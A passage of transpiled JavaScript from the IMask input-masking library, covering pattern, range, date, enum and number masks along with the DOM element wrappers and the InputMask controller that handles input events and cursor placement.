	          fn(this._blocks[toBlockIter.index], toBlockIter.index, 0, toBlockIter.offset);
	        }
	      }
	    }
	  }, {
	    key: "remove",
	    value: function remove() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      var removeDetails = _get(_getPrototypeOf(MaskedPattern.prototype), "remove", this).call(this, fromPos, toPos);
	      this._forEachBlocksInRange(fromPos, toPos, function (b, _, bFromPos, bToPos) {
	        removeDetails.aggregate(b.remove(bFromPos, bToPos));
	      });
	      return removeDetails;
	    }
	  }, {
	    key: "nearestInputPos",
	    value: function nearestInputPos(cursorPos) {
	      var direction = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : DIRECTION.NONE;
	      if (!this._blocks.length) return 0;
	      var cursor = new PatternCursor(this, cursorPos);
	      if (direction === DIRECTION.NONE) {
	        if (cursor.pushRightBeforeInput()) return cursor.pos;
	        cursor.popState();
	        if (cursor.pushLeftBeforeInput()) return cursor.pos;
	        return this.value.length;
	      }
	      if (direction === DIRECTION.LEFT || direction === DIRECTION.FORCE_LEFT) {
	        if (direction === DIRECTION.LEFT) {
	          cursor.pushRightBeforeFilled();
	          if (cursor.ok && cursor.pos === cursorPos) return cursorPos;
	          cursor.popState();
	        }
	        cursor.pushLeftBeforeInput();
	        cursor.pushLeftBeforeRequired();
	        cursor.pushLeftBeforeFilled();
	        if (direction === DIRECTION.LEFT) {
	          cursor.pushRightBeforeInput();
	          cursor.pushRightBeforeRequired();
	          if (cursor.ok && cursor.pos <= cursorPos) return cursor.pos;
	          cursor.popState();
	          if (cursor.ok && cursor.pos <= cursorPos) return cursor.pos;
	          cursor.popState();
	        }
	        if (cursor.ok) return cursor.pos;
	        if (direction === DIRECTION.FORCE_LEFT) return 0;
	        cursor.popState();
	        if (cursor.ok) return cursor.pos;
	        cursor.popState();
	        if (cursor.ok) return cursor.pos;
	        return 0;
	      }
	      if (direction === DIRECTION.RIGHT || direction === DIRECTION.FORCE_RIGHT) {
	        cursor.pushRightBeforeInput();
	        cursor.pushRightBeforeRequired();
	        if (cursor.pushRightBeforeFilled()) return cursor.pos;
	        if (direction === DIRECTION.FORCE_RIGHT) return this.value.length;
	        cursor.popState();
	        if (cursor.ok) return cursor.pos;
	        cursor.popState();
	        if (cursor.ok) return cursor.pos;
	        return this.nearestInputPos(cursorPos, DIRECTION.LEFT);
	      }
	      return cursorPos;
	    }
	  }, {
	    key: "maskedBlock",
	    value: function maskedBlock(name) {
	      return this.maskedBlocks(name)[0];
	    }
	  }, {
	    key: "maskedBlocks",
	    value: function maskedBlocks(name) {
	      var _this4 = this;
	      var indices = this._maskedBlocks[name];
	      if (!indices) return [];
	      return indices.map(function (gi) {
	        return _this4._blocks[gi];
	      });
	    }
	  }]);
	  return MaskedPattern;
	}(Masked);
	MaskedPattern.DEFAULTS = {
	  lazy: true,
	  placeholderChar: '_'
	};
	MaskedPattern.STOP_CHAR = '`';
	MaskedPattern.ESCAPE_CHAR = '\\';
	MaskedPattern.InputDefinition = PatternInputDefinition;
	MaskedPattern.FixedDefinition = PatternFixedDefinition;
	IMask.MaskedPattern = MaskedPattern;

	var MaskedRange = function (_MaskedPattern) {
	  _inherits(MaskedRange, _MaskedPattern);
	  var _super = _createSuper(MaskedRange);
	  function MaskedRange() {
	    _classCallCheck(this, MaskedRange);
	    return _super.apply(this, arguments);
	  }
	  _createClass(MaskedRange, [{
	    key: "_matchFrom",
	    get:
	    function get() {
	      return this.maxLength - String(this.from).length;
	    }
	  }, {
	    key: "_update",
	    value: function _update(opts) {
	      opts = Object.assign({
	        to: this.to || 0,
	        from: this.from || 0,
	        maxLength: this.maxLength || 0
	      }, opts);
	      var maxLength = String(opts.to).length;
	      if (opts.maxLength != null) maxLength = Math.max(maxLength, opts.maxLength);
	      opts.maxLength = maxLength;
	      var fromStr = String(opts.from).padStart(maxLength, '0');
	      var toStr = String(opts.to).padStart(maxLength, '0');
	      var sameCharsCount = 0;
	      while (sameCharsCount < toStr.length && toStr[sameCharsCount] === fromStr[sameCharsCount]) {
	        ++sameCharsCount;
	      }
	      opts.mask = toStr.slice(0, sameCharsCount).replace(/0/g, '\\0') + '0'.repeat(maxLength - sameCharsCount);
	      _get(_getPrototypeOf(MaskedRange.prototype), "_update", this).call(this, opts);
	    }
	  }, {
	    key: "isComplete",
	    get: function get() {
	      return _get(_getPrototypeOf(MaskedRange.prototype), "isComplete", this) && Boolean(this.value);
	    }
	  }, {
	    key: "boundaries",
	    value: function boundaries(str) {
	      var minstr = '';
	      var maxstr = '';
	      var _ref = str.match(/^(\D*)(\d*)(\D*)/) || [],
	          _ref2 = _slicedToArray(_ref, 3),
	          placeholder = _ref2[1],
	          num = _ref2[2];
	      if (num) {
	        minstr = '0'.repeat(placeholder.length) + num;
	        maxstr = '9'.repeat(placeholder.length) + num;
	      }
	      minstr = minstr.padEnd(this.maxLength, '0');
	      maxstr = maxstr.padEnd(this.maxLength, '9');
	      return [minstr, maxstr];
	    }
	  }, {
	    key: "doPrepare",
	    value: function doPrepare(ch) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      var details;
	      var _normalizePrepare = normalizePrepare(_get(_getPrototypeOf(MaskedRange.prototype), "doPrepare", this).call(this, ch.replace(/\D/g, ''), flags));
	      var _normalizePrepare2 = _slicedToArray(_normalizePrepare, 2);
	      ch = _normalizePrepare2[0];
	      details = _normalizePrepare2[1];
	      if (!this.autofix || !ch) return ch;
	      var fromStr = String(this.from).padStart(this.maxLength, '0');
	      var toStr = String(this.to).padStart(this.maxLength, '0');
	      var nextVal = this.value + ch;
	      if (nextVal.length > this.maxLength) return '';
	      var _this$boundaries = this.boundaries(nextVal),
	          _this$boundaries2 = _slicedToArray(_this$boundaries, 2),
	          minstr = _this$boundaries2[0],
	          maxstr = _this$boundaries2[1];
	      if (Number(maxstr) < this.from) return fromStr[nextVal.length - 1];
	      if (Number(minstr) > this.to) {
	        if (this.autofix === 'pad' && nextVal.length < this.maxLength) {
	          return ['', details.aggregate(this.append(fromStr[nextVal.length - 1] + ch, flags))];
	        }
	        return toStr[nextVal.length - 1];
	      }
	      return ch;
	    }
	  }, {
	    key: "doValidate",
	    value: function doValidate() {
	      var _get2;
	      var str = this.value;
	      var firstNonZero = str.search(/[^0]/);
	      if (firstNonZero === -1 && str.length <= this._matchFrom) return true;
	      var _this$boundaries3 = this.boundaries(str),
	          _this$boundaries4 = _slicedToArray(_this$boundaries3, 2),
	          minstr = _this$boundaries4[0],
	          maxstr = _this$boundaries4[1];
	      for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
	        args[_key] = arguments[_key];
	      }
	      return this.from <= Number(maxstr) && Number(minstr) <= this.to && (_get2 = _get(_getPrototypeOf(MaskedRange.prototype), "doValidate", this)).call.apply(_get2, [this].concat(args));
	    }
	  }]);
	  return MaskedRange;
	}(MaskedPattern);
	IMask.MaskedRange = MaskedRange;

	var MaskedDate = function (_MaskedPattern) {
	  _inherits(MaskedDate, _MaskedPattern);
	  var _super = _createSuper(MaskedDate);
	  function MaskedDate(opts) {
	    _classCallCheck(this, MaskedDate);
	    return _super.call(this, Object.assign({}, MaskedDate.DEFAULTS, opts));
	  }
	  _createClass(MaskedDate, [{
	    key: "_update",
	    value: function _update(opts) {
	      if (opts.mask === Date) delete opts.mask;
	      if (opts.pattern) opts.mask = opts.pattern;
	      var blocks = opts.blocks;
	      opts.blocks = Object.assign({}, MaskedDate.GET_DEFAULT_BLOCKS());
	      if (opts.min) opts.blocks.Y.from = opts.min.getFullYear();
	      if (opts.max) opts.blocks.Y.to = opts.max.getFullYear();
	      if (opts.min && opts.max && opts.blocks.Y.from === opts.blocks.Y.to) {
	        opts.blocks.m.from = opts.min.getMonth() + 1;
	        opts.blocks.m.to = opts.max.getMonth() + 1;
	        if (opts.blocks.m.from === opts.blocks.m.to) {
	          opts.blocks.d.from = opts.min.getDate();
	          opts.blocks.d.to = opts.max.getDate();
	        }
	      }
	      Object.assign(opts.blocks, this.blocks, blocks);
	      Object.keys(opts.blocks).forEach(function (bk) {
	        var b = opts.blocks[bk];
	        if (!('autofix' in b) && 'autofix' in opts) b.autofix = opts.autofix;
	      });
	      _get(_getPrototypeOf(MaskedDate.prototype), "_update", this).call(this, opts);
	    }
	  }, {
	    key: "doValidate",
	    value: function doValidate() {
	      var _get2;
	      var date = this.date;
	      for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
	        args[_key] = arguments[_key];
	      }
	      return (_get2 = _get(_getPrototypeOf(MaskedDate.prototype), "doValidate", this)).call.apply(_get2, [this].concat(args)) && (!this.isComplete || this.isDateExist(this.value) && date != null && (this.min == null || this.min <= date) && (this.max == null || date <= this.max));
	    }
	  }, {
	    key: "isDateExist",
	    value: function isDateExist(str) {
	      return this.format(this.parse(str, this), this).indexOf(str) >= 0;
	    }
	  }, {
	    key: "date",
	    get: function get() {
	      return this.typedValue;
	    },
	    set: function set(date) {
	      this.typedValue = date;
	    }
	  }, {
	    key: "typedValue",
	    get: function get() {
	      return this.isComplete ? _get(_getPrototypeOf(MaskedDate.prototype), "typedValue", this) : null;
	    },
	    set: function set(value) {
	      _set(_getPrototypeOf(MaskedDate.prototype), "typedValue", value, this, true);
	    }
	  }, {
	    key: "maskEquals",
	    value: function maskEquals(mask) {
	      return mask === Date || _get(_getPrototypeOf(MaskedDate.prototype), "maskEquals", this).call(this, mask);
	    }
	  }]);
	  return MaskedDate;
	}(MaskedPattern);
	MaskedDate.DEFAULTS = {
	  pattern: 'd{.}`m{.}`Y',
	  format: function format(date) {
	    if (!date) return '';
	    var day = String(date.getDate()).padStart(2, '0');
	    var month = String(date.getMonth() + 1).padStart(2, '0');
	    var year = date.getFullYear();
	    return [day, month, year].join('.');
	  },
	  parse: function parse(str) {
	    var _str$split = str.split('.'),
	        _str$split2 = _slicedToArray(_str$split, 3),
	        day = _str$split2[0],
	        month = _str$split2[1],
	        year = _str$split2[2];
	    return new Date(year, month - 1, day);
	  }
	};
	MaskedDate.GET_DEFAULT_BLOCKS = function () {
	  return {
	    d: {
	      mask: MaskedRange,
	      from: 1,
	      to: 31,
	      maxLength: 2
	    },
	    m: {
	      mask: MaskedRange,
	      from: 1,
	      to: 12,
	      maxLength: 2
	    },
	    Y: {
	      mask: MaskedRange,
	      from: 1900,
	      to: 9999
	    }
	  };
	};
	IMask.MaskedDate = MaskedDate;

	var MaskElement = function () {
	  function MaskElement() {
	    _classCallCheck(this, MaskElement);
	  }
	  _createClass(MaskElement, [{
	    key: "selectionStart",
	    get:
	    function get() {
	      var start;
	      try {
	        start = this._unsafeSelectionStart;
	      } catch (e) {}
	      return start != null ? start : this.value.length;
	    }
	  }, {
	    key: "selectionEnd",
	    get: function get() {
	      var end;
	      try {
	        end = this._unsafeSelectionEnd;
	      } catch (e) {}
	      return end != null ? end : this.value.length;
	    }
	  }, {
	    key: "select",
	    value: function select(start, end) {
	      if (start == null || end == null || start === this.selectionStart && end === this.selectionEnd) return;
	      try {
	        this._unsafeSelect(start, end);
	      } catch (e) {}
	    }
	  }, {
	    key: "_unsafeSelect",
	    value: function _unsafeSelect(start, end) {}
	  }, {
	    key: "isActive",
	    get: function get() {
	      return false;
	    }
	  }, {
	    key: "bindEvents",
	    value: function bindEvents(handlers) {}
	  }, {
	    key: "unbindEvents",
	    value: function unbindEvents() {}
	  }]);
	  return MaskElement;
	}();
	IMask.MaskElement = MaskElement;

	var HTMLMaskElement = function (_MaskElement) {
	  _inherits(HTMLMaskElement, _MaskElement);
	  var _super = _createSuper(HTMLMaskElement);
	  function HTMLMaskElement(input) {
	    var _this;
	    _classCallCheck(this, HTMLMaskElement);
	    _this = _super.call(this);
	    _this.input = input;
	    _this._handlers = {};
	    return _this;
	  }
	  _createClass(HTMLMaskElement, [{
	    key: "rootElement",
	    get: function get() {
	      var _this$input$getRootNo, _this$input$getRootNo2, _this$input;
	      return (_this$input$getRootNo = (_this$input$getRootNo2 = (_this$input = this.input).getRootNode) === null || _this$input$getRootNo2 === void 0 ? void 0 : _this$input$getRootNo2.call(_this$input)) !== null && _this$input$getRootNo !== void 0 ? _this$input$getRootNo : document;
	    }
	  }, {
	    key: "isActive",
	    get: function get() {
	      return this.input === this.rootElement.activeElement;
	    }
	  }, {
	    key: "_unsafeSelectionStart",
	    get: function get() {
	      return this.input.selectionStart;
	    }
	  }, {
	    key: "_unsafeSelectionEnd",
	    get: function get() {
	      return this.input.selectionEnd;
	    }
	  }, {
	    key: "_unsafeSelect",
	    value: function _unsafeSelect(start, end) {
	      this.input.setSelectionRange(start, end);
	    }
	  }, {
	    key: "value",
	    get: function get() {
	      return this.input.value;
	    },
	    set: function set(value) {
	      this.input.value = value;
	    }
	  }, {
	    key: "bindEvents",
	    value: function bindEvents(handlers) {
	      var _this2 = this;
	      Object.keys(handlers).forEach(function (event) {
	        return _this2._toggleEventHandler(HTMLMaskElement.EVENTS_MAP[event], handlers[event]);
	      });
	    }
	  }, {
	    key: "unbindEvents",
	    value: function unbindEvents() {
	      var _this3 = this;
	      Object.keys(this._handlers).forEach(function (event) {
	        return _this3._toggleEventHandler(event);
	      });
	    }
	  }, {
	    key: "_toggleEventHandler",
	    value: function _toggleEventHandler(event, handler) {
	      if (this._handlers[event]) {
	        this.input.removeEventListener(event, this._handlers[event]);
	        delete this._handlers[event];
	      }
	      if (handler) {
	        this.input.addEventListener(event, handler);
	        this._handlers[event] = handler;
	      }
	    }
	  }]);
	  return HTMLMaskElement;
	}(MaskElement);
	HTMLMaskElement.EVENTS_MAP = {
	  selectionChange: 'keydown',
	  input: 'input',
	  drop: 'drop',
	  click: 'click',
	  focus: 'focus',
	  commit: 'blur'
	};
	IMask.HTMLMaskElement = HTMLMaskElement;

	var HTMLContenteditableMaskElement = function (_HTMLMaskElement) {
	  _inherits(HTMLContenteditableMaskElement, _HTMLMaskElement);
	  var _super = _createSuper(HTMLContenteditableMaskElement);
	  function HTMLContenteditableMaskElement() {
	    _classCallCheck(this, HTMLContenteditableMaskElement);
	    return _super.apply(this, arguments);
	  }
	  _createClass(HTMLContenteditableMaskElement, [{
	    key: "_unsafeSelectionStart",
	    get:
	    function get() {
	      var root = this.rootElement;
	      var selection = root.getSelection && root.getSelection();
	      var anchorOffset = selection && selection.anchorOffset;
	      var focusOffset = selection && selection.focusOffset;
	      if (focusOffset == null || anchorOffset == null || anchorOffset < focusOffset) {
	        return anchorOffset;
	      }
	      return focusOffset;
	    }
	  }, {
	    key: "_unsafeSelectionEnd",
	    get: function get() {
	      var root = this.rootElement;
	      var selection = root.getSelection && root.getSelection();
	      var anchorOffset = selection && selection.anchorOffset;
	      var focusOffset = selection && selection.focusOffset;
	      if (focusOffset == null || anchorOffset == null || anchorOffset > focusOffset) {
	        return anchorOffset;
	      }
	      return focusOffset;
	    }
	  }, {
	    key: "_unsafeSelect",
	    value: function _unsafeSelect(start, end) {
	      if (!this.rootElement.createRange) return;
	      var range = this.rootElement.createRange();
	      range.setStart(this.input.firstChild || this.input, start);
	      range.setEnd(this.input.lastChild || this.input, end);
	      var root = this.rootElement;
	      var selection = root.getSelection && root.getSelection();
	      if (selection) {
	        selection.removeAllRanges();
	        selection.addRange(range);
	      }
	    }
	  }, {
	    key: "value",
	    get: function get() {
	      return this.input.textContent;
	    },
	    set: function set(value) {
	      this.input.textContent = value;
	    }
	  }]);
	  return HTMLContenteditableMaskElement;
	}(HTMLMaskElement);
	IMask.HTMLContenteditableMaskElement = HTMLContenteditableMaskElement;

	var _excluded$1 = ["mask"];
	var InputMask = function () {
	  function InputMask(el, opts) {
	    _classCallCheck(this, InputMask);
	    this.el = el instanceof MaskElement ? el : el.isContentEditable && el.tagName !== 'INPUT' && el.tagName !== 'TEXTAREA' ? new HTMLContenteditableMaskElement(el) : new HTMLMaskElement(el);
	    this.masked = createMask(opts);
	    this._listeners = {};
	    this._value = '';
	    this._unmaskedValue = '';
	    this._saveSelection = this._saveSelection.bind(this);
	    this._onInput = this._onInput.bind(this);
	    this._onChange = this._onChange.bind(this);
	    this._onDrop = this._onDrop.bind(this);
	    this._onFocus = this._onFocus.bind(this);
	    this._onClick = this._onClick.bind(this);
	    this.alignCursor = this.alignCursor.bind(this);
	    this.alignCursorFriendly = this.alignCursorFriendly.bind(this);
	    this._bindEvents();
	    this.updateValue();
	    this._onChange();
	  }
	  _createClass(InputMask, [{
	    key: "mask",
	    get: function get() {
	      return this.masked.mask;
	    },
	    set: function set(mask) {
	      if (this.maskEquals(mask)) return;
	      if (!(mask instanceof IMask.Masked) && this.masked.constructor === maskedClass(mask)) {
	        this.masked.updateOptions({
	          mask: mask
	        });
	        return;
	      }
	      var masked = createMask({
	        mask: mask
	      });
	      masked.unmaskedValue = this.masked.unmaskedValue;
	      this.masked = masked;
	    }
	  }, {
	    key: "maskEquals",
	    value: function maskEquals(mask) {
	      var _this$masked;
	      return mask == null || ((_this$masked = this.masked) === null || _this$masked === void 0 ? void 0 : _this$masked.maskEquals(mask));
	    }
	  }, {
	    key: "value",
	    get: function get() {
	      return this._value;
	    },
	    set: function set(str) {
	      this.masked.value = str;
	      this.updateControl();
	      this.alignCursor();
	    }
	  }, {
	    key: "unmaskedValue",
	    get: function get() {
	      return this._unmaskedValue;
	    },
	    set: function set(str) {
	      this.masked.unmaskedValue = str;
	      this.updateControl();
	      this.alignCursor();
	    }
	  }, {
	    key: "typedValue",
	    get: function get() {
	      return this.masked.typedValue;
	    },
	    set: function set(val) {
	      this.masked.typedValue = val;
	      this.updateControl();
	      this.alignCursor();
	    }
	  }, {
	    key: "_bindEvents",
	    value: function _bindEvents() {
	      this.el.bindEvents({
	        selectionChange: this._saveSelection,
	        input: this._onInput,
	        drop: this._onDrop,
	        click: this._onClick,
	        focus: this._onFocus,
	        commit: this._onChange
	      });
	    }
	  }, {
	    key: "_unbindEvents",
	    value: function _unbindEvents() {
	      if (this.el) this.el.unbindEvents();
	    }
	  }, {
	    key: "_fireEvent",
	    value: function _fireEvent(ev) {
	      for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
	        args[_key - 1] = arguments[_key];
	      }
	      var listeners = this._listeners[ev];
	      if (!listeners) return;
	      listeners.forEach(function (l) {
	        return l.apply(void 0, args);
	      });
	    }
	  }, {
	    key: "selectionStart",
	    get: function get() {
	      return this._cursorChanging ? this._changingCursorPos : this.el.selectionStart;
	    }
	  }, {
	    key: "cursorPos",
	    get: function get() {
	      return this._cursorChanging ? this._changingCursorPos : this.el.selectionEnd;
	    },
	    set: function set(pos) {
	      if (!this.el || !this.el.isActive) return;
	      this.el.select(pos, pos);
	      this._saveSelection();
	    }
	  }, {
	    key: "_saveSelection",
	    value: function
	    _saveSelection() {
	      if (this.value !== this.el.value) {
	        console.warn('Element value was changed outside of mask. Syncronize mask using `mask.updateValue()` to work properly.');
	      }
	      this._selection = {
	        start: this.selectionStart,
	        end: this.cursorPos
	      };
	    }
	  }, {
	    key: "updateValue",
	    value: function updateValue() {
	      this.masked.value = this.el.value;
	      this._value = this.masked.value;
	    }
	  }, {
	    key: "updateControl",
	    value: function updateControl() {
	      var newUnmaskedValue = this.masked.unmaskedValue;
	      var newValue = this.masked.value;
	      var isChanged = this.unmaskedValue !== newUnmaskedValue || this.value !== newValue;
	      this._unmaskedValue = newUnmaskedValue;
	      this._value = newValue;
	      if (this.el.value !== newValue) this.el.value = newValue;
	      if (isChanged) this._fireChangeEvents();
	    }
	  }, {
	    key: "updateOptions",
	    value: function updateOptions(opts) {
	      var mask = opts.mask,
	          restOpts = _objectWithoutProperties(opts, _excluded$1);
	      var updateMask = !this.maskEquals(mask);
	      var updateOpts = !objectIncludes(this.masked, restOpts);
	      if (updateMask) this.mask = mask;
	      if (updateOpts) this.masked.updateOptions(restOpts);
	      if (updateMask || updateOpts) this.updateControl();
	    }
	  }, {
	    key: "updateCursor",
	    value: function updateCursor(cursorPos) {
	      if (cursorPos == null) return;
	      this.cursorPos = cursorPos;
	      this._delayUpdateCursor(cursorPos);
	    }
	  }, {
	    key: "_delayUpdateCursor",
	    value: function _delayUpdateCursor(cursorPos) {
	      var _this = this;
	      this._abortUpdateCursor();
	      this._changingCursorPos = cursorPos;
	      this._cursorChanging = setTimeout(function () {
	        if (!_this.el) return;
	        _this.cursorPos = _this._changingCursorPos;
	        _this._abortUpdateCursor();
	      }, 10);
	    }
	  }, {
	    key: "_fireChangeEvents",
	    value: function _fireChangeEvents() {
	      this._fireEvent('accept', this._inputEvent);
	      if (this.masked.isComplete) this._fireEvent('complete', this._inputEvent);
	    }
	  }, {
	    key: "_abortUpdateCursor",
	    value: function _abortUpdateCursor() {
	      if (this._cursorChanging) {
	        clearTimeout(this._cursorChanging);
	        delete this._cursorChanging;
	      }
	    }
	  }, {
	    key: "alignCursor",
	    value: function alignCursor() {
	      this.cursorPos = this.masked.nearestInputPos(this.masked.nearestInputPos(this.cursorPos, DIRECTION.LEFT));
	    }
	  }, {
	    key: "alignCursorFriendly",
	    value: function alignCursorFriendly() {
	      if (this.selectionStart !== this.cursorPos) return;
	      this.alignCursor();
	    }
	  }, {
	    key: "on",
	    value: function on(ev, handler) {
	      if (!this._listeners[ev]) this._listeners[ev] = [];
	      this._listeners[ev].push(handler);
	      return this;
	    }
	  }, {
	    key: "off",
	    value: function off(ev, handler) {
	      if (!this._listeners[ev]) return this;
	      if (!handler) {
	        delete this._listeners[ev];
	        return this;
	      }
	      var hIndex = this._listeners[ev].indexOf(handler);
	      if (hIndex >= 0) this._listeners[ev].splice(hIndex, 1);
	      return this;
	    }
	  }, {
	    key: "_onInput",
	    value: function _onInput(e) {
	      this._inputEvent = e;
	      this._abortUpdateCursor();
	      if (!this._selection) return this.updateValue();
	      var details = new ActionDetails(
	      this.el.value, this.cursorPos,
	      this.value, this._selection);
	      var oldRawValue = this.masked.rawInputValue;
	      var offset = this.masked.splice(details.startChangePos, details.removed.length, details.inserted, details.removeDirection).offset;
	      var removeDirection = oldRawValue === this.masked.rawInputValue ? details.removeDirection : DIRECTION.NONE;
	      var cursorPos = this.masked.nearestInputPos(details.startChangePos + offset, removeDirection);
	      if (removeDirection !== DIRECTION.NONE) cursorPos = this.masked.nearestInputPos(cursorPos, DIRECTION.NONE);
	      this.updateControl();
	      this.updateCursor(cursorPos);
	      delete this._inputEvent;
	    }
	  }, {
	    key: "_onChange",
	    value: function _onChange() {
	      if (this.value !== this.el.value) {
	        this.updateValue();
	      }
	      this.masked.doCommit();
	      this.updateControl();
	      this._saveSelection();
	    }
	  }, {
	    key: "_onDrop",
	    value: function _onDrop(ev) {
	      ev.preventDefault();
	      ev.stopPropagation();
	    }
	  }, {
	    key: "_onFocus",
	    value: function _onFocus(ev) {
	      this.alignCursorFriendly();
	    }
	  }, {
	    key: "_onClick",
	    value: function _onClick(ev) {
	      this.alignCursorFriendly();
	    }
	  }, {
	    key: "destroy",
	    value: function destroy() {
	      this._unbindEvents();
	      this._listeners.length = 0;
	      delete this.el;
	    }
	  }]);
	  return InputMask;
	}();
	IMask.InputMask = InputMask;

	var MaskedEnum = function (_MaskedPattern) {
	  _inherits(MaskedEnum, _MaskedPattern);
	  var _super = _createSuper(MaskedEnum);
	  function MaskedEnum() {
	    _classCallCheck(this, MaskedEnum);
	    return _super.apply(this, arguments);
	  }
	  _createClass(MaskedEnum, [{
	    key: "_update",
	    value:
	    function _update(opts) {
	      if (opts.enum) opts.mask = '*'.repeat(opts.enum[0].length);
	      _get(_getPrototypeOf(MaskedEnum.prototype), "_update", this).call(this, opts);
	    }
	  }, {
	    key: "doValidate",
	    value: function doValidate() {
	      var _this = this,
	          _get2;
	      for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
	        args[_key] = arguments[_key];
	      }
	      return this.enum.some(function (e) {
	        return e.indexOf(_this.unmaskedValue) >= 0;
	      }) && (_get2 = _get(_getPrototypeOf(MaskedEnum.prototype), "doValidate", this)).call.apply(_get2, [this].concat(args));
	    }
	  }]);
	  return MaskedEnum;
	}(MaskedPattern);
	IMask.MaskedEnum = MaskedEnum;

	var MaskedNumber = function (_Masked) {
	  _inherits(MaskedNumber, _Masked);
	  var _super = _createSuper(MaskedNumber);
	  function MaskedNumber(opts) {
	    _classCallCheck(this, MaskedNumber);
	    return _super.call(this, Object.assign({}, MaskedNumber.DEFAULTS, opts));
	  }
	  _createClass(MaskedNumber, [{
	    key: "_update",
	    value: function _update(opts) {
	      _get(_getPrototypeOf(MaskedNumber.prototype), "_update", this).call(this, opts);
	      this._updateRegExps();
	    }
	  }, {
	    key: "_updateRegExps",
	    value: function _updateRegExps() {
	      var start = '^' + (this.allowNegative ? '[+|\\-]?' : '');
	      var midInput = '(0|([1-9]+\\d*))?';
	      var mid = '\\d*';
	      var end = (this.scale ? '(' + escapeRegExp(this.radix) + '\\d{0,' + this.scale + '})?' : '') + '$';
	      this._numberRegExpInput = new RegExp(start + midInput + end);
	      this._numberRegExp = new RegExp(start + mid + end);
	      this._mapToRadixRegExp = new RegExp('[' + this.mapToRadix.map(escapeRegExp).join('') + ']', 'g');
	      this._thousandsSeparatorRegExp = new RegExp(escapeRegExp(this.thousandsSeparator), 'g');
	    }
	  }, {
	    key: "_removeThousandsSeparators",
	    value: function _removeThousandsSeparators(value) {
	      return value.replace(this._thousandsSeparatorRegExp, '');
	    }
	  }, {
	    key: "_insertThousandsSeparators",
	    value: function _insertThousandsSeparators(value) {
	      var parts = value.split(this.radix);
	      parts[0] = parts[0].replace(/\B(?=(\d{3})+(?!\d))/g, this.thousandsSeparator);
	      return parts.join(this.radix);
	    }
	  }, {
	    key: "doPrepare",
	    value: function doPrepare(ch) {
	      var _get2;
	      ch = ch.replace(this._mapToRadixRegExp, this.radix);
	      var noSepCh = this._removeThousandsSeparators(ch);
	      for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
	        args[_key - 1] = arguments[_key];
	      }
	      var _normalizePrepare = normalizePrepare((_get2 = _get(_getPrototypeOf(MaskedNumber.prototype), "doPrepare", this)).call.apply(_get2, [this, noSepCh].concat(args))),
	          _normalizePrepare2 = _slicedToArray(_normalizePrepare, 2),
	          prepCh = _normalizePrepare2[0],
	          details = _normalizePrepare2[1];
	      if (ch && !noSepCh) details.skip = true;
	      return [prepCh, details];
	    }
	  }, {
	    key: "_separatorsCount",
	    value: function _separatorsCount(to) {
	      var extendOnSeparators = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
	      var count = 0;
	      for (var pos = 0; pos < to; ++pos) {
	        if (this._value.indexOf(this.thousandsSeparator, pos) === pos) {
	          ++count;
	          if (extendOnSeparators) to += this.thousandsSeparator.length;
	        }
	      }
	      return count;
	    }
	  }, {
	    key: "_separatorsCountFromSlice",
	    value: function _separatorsCountFromSlice() {
	      var slice = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this._value;
	      return this._separatorsCount(this._removeThousandsSeparators(slice).length, true);
	    }
	  }, {
	    key: "extractInput",
	    value: function extractInput() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      var flags = arguments.length > 2 ? arguments[2] : undefined;
	      var _this$_adjustRangeWit = this._adjustRangeWithSeparators(fromPos, toPos);
	      var _this$_adjustRangeWit2 = _slicedToArray(_this$_adjustRangeWit, 2);
	      fromPos = _this$_adjustRangeWit2[0];
	      toPos = _this$_adjustRangeWit2[1];
	      return this._removeThousandsSeparators(_get(_getPrototypeOf(MaskedNumber.prototype), "extractInput", this).call(this, fromPos, toPos, flags));
	    }
	  }, {
	    key: "_appendCharRaw",
	    value: function _appendCharRaw(ch) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      if (!this.thousandsSeparator) return _get(_getPrototypeOf(MaskedNumber.prototype), "_appendCharRaw", this).call(this, ch, flags);
	      var prevBeforeTailValue = flags.tail && flags._beforeTailState ? flags._beforeTailState._value : this._value;
	      var prevBeforeTailSeparatorsCount = this._separatorsCountFromSlice(prevBeforeTailValue);
	      this._value = this._removeThousandsSeparators(this.value);
	      var appendDetails = _get(_getPrototypeOf(MaskedNumber.prototype), "_appendCharRaw", this).call(this, ch, flags);
	      this._value = this._insertThousandsSeparators(this._value);
	      var beforeTailValue = flags.tail && flags._beforeTailState ? flags._beforeTailState._value : this._value;
	      var beforeTailSeparatorsCount = this._separatorsCountFromSlice(beforeTailValue);
	      appendDetails.tailShift += (beforeTailSeparatorsCount - prevBeforeTailSeparatorsCount) * this.thousandsSeparator.length;
	      appendDetails.skip = !appendDetails.rawInserted && ch === this.thousandsSeparator;
	      return appendDetails;
	    }
	  }, {
	    key: "_findSeparatorAround",
	    value: function _findSeparatorAround(pos) {
	      if (this.thousandsSeparator) {
	        var searchFrom = pos - this.thousandsSeparator.length + 1;
	        var separatorPos = this.value.indexOf(this.thousandsSeparator, searchFrom);
	        if (separatorPos <= pos) return separatorPos;
	      }
	      return -1;
	    }
	  }, {
	    key: "_adjustRangeWithSeparators",
	    value: function _adjustRangeWithSeparators(from, to) {
	      var separatorAroundFromPos = this._findSeparatorAround(from);
	      if (separatorAroundFromPos >= 0) from = separatorAroundFromPos;
	      var separatorAroundToPos = this._findSeparatorAround(to);
	      if (separatorAroundToPos >= 0) to = separatorAroundToPos + this.thousandsSeparator.length;
	      return [from, to];
	    }
	  }, {
	    key: "remove",
	    value: function remove() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
